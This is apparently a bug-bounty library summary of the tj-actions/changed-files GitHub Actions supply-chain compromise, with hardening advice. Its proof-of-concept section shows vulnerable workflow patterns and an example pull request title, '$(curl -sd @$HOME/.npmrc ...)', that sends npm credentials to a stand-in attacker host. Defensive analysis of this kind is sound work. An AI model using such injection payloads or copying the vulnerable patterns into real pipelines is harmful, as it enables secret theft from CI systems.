# Hardening GitHub Actions Against Outside Threats

Attacker retagged tj-actions/changed-files v1-v45.0.7 to a malicious commit that dumped runner secrets into public build logs, hitting ~23,000 repos.

- Payout: Real-world hack
- Severity: high
- Program: tj-actions/changed-files
- Analysis by: Karlo Zanki
- Disclosed: 2026-11-03
- CVE: CVE-2025-30066
- Write-up quality: 7/10
- Original: https://socket.dev/blog/hardening-github-actions-against-outside-threats
- Library page: https://bugbountylibrary.com/r/blog%3Asocket-dev-blog-hardening-github-actions-against-outside-threats
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:high tech:github-actions technique:chained technique:source-review vuln:secrets-leak

**Target:** GitHub Actions third-party action (tag-based reference)
**Root cause:** Actions referenced by mutable tag or branch rather than full commit SHA; a Git tag is a movable pointer the maintainer or an account thief can repoint at any commit.
**Steps:**
1. Compromise the tj-actions/changed-files repository/account.
2. Retag v1 through v45.0.7 to point at a single malicious commit.
3. Downstream workflows using `uses: tj-actions/changed-files@v45` resolve the moved tag and execute the attacker's code on next build.
4. Payload scans runner process memory for credentials and writes them into the build log, world-readable on public repos.
**Exploitation:** Every repository pinning by tag executed the attacker's code on its next build; the payload harvested credentials from runner process memory and exfiltrated them by writing into the public build log, a channel egress policy never sees. Repos pinned by SHA were unaffected.
**Escalation:** Chained through a dependency: tj-actions/changed-files ran reviewdog/action-setup@v1, and a personal access token was stolen through that chain, plausibly the upstream of this compromise.
**Insight:** A SHA pins only the action's own repo files, not nested `uses:` in composite action.yml or reusable workflows resolved at runtime — and GitHub shares commit objects across the fork network, so an impostor commit can be fetched via the upstream URL even when on no branch or tag.

## Proof of concept (copied exactly from the original report)

**Vulnerable pull_request_target workflow executing fork code with secrets**

```
on:
 pull_request_target:
 types: [opened, synchronize]
jobs:
 format:
 runs-on: ubuntu-latest
 steps:
 - uses: actions/checkout@<sha>
 with:
 ref: ${{ github.event.pull_request.head.sha }}
 - run: npm ci && npm run format
 env:
 NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
```

**Vulnerable expression injection into run block**

```
- name: Greet
 run: echo "Thanks for '${{ github.event.pull_request.title }}'"

# Double quotes do not save this. A title of:
# $(curl -sd @$HOME/.npmrc <https://attacker.tld>)
# is command substitution, which runs inside the double quotes. A title
# containing a double quote closes the string and works too.
```

**Vulnerable curl pipe to bash uploader**

```
curl -s <https://vendor.example/uploader.sh> | bash

Bash 

# Hardened: pinned version, verified digest, separate steps
set -euo pipefail
curl -fsSL -o uploader.sh <https://vendor.example/v4.2.1/uploader.sh>
echo "9f2b...c71e uploader.sh" | sha256sum -c -
bash ./uploader.sh
```

## Write-ups of the same bug (oldest first)
- 2025-03-15: [GitHub Action tj-actions/changed-files supply chain attack: everything you need to know](https://bugbountylibrary.com/r/blog%3Awiz-io-blog-github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066) — Wiz Research
- 2026-11-03: [Hardening GitHub Actions Against Outside Threats](https://bugbountylibrary.com/r/blog%3Asocket-dev-blog-hardening-github-actions-against-outside-threats) — Karlo Zanki (this one)

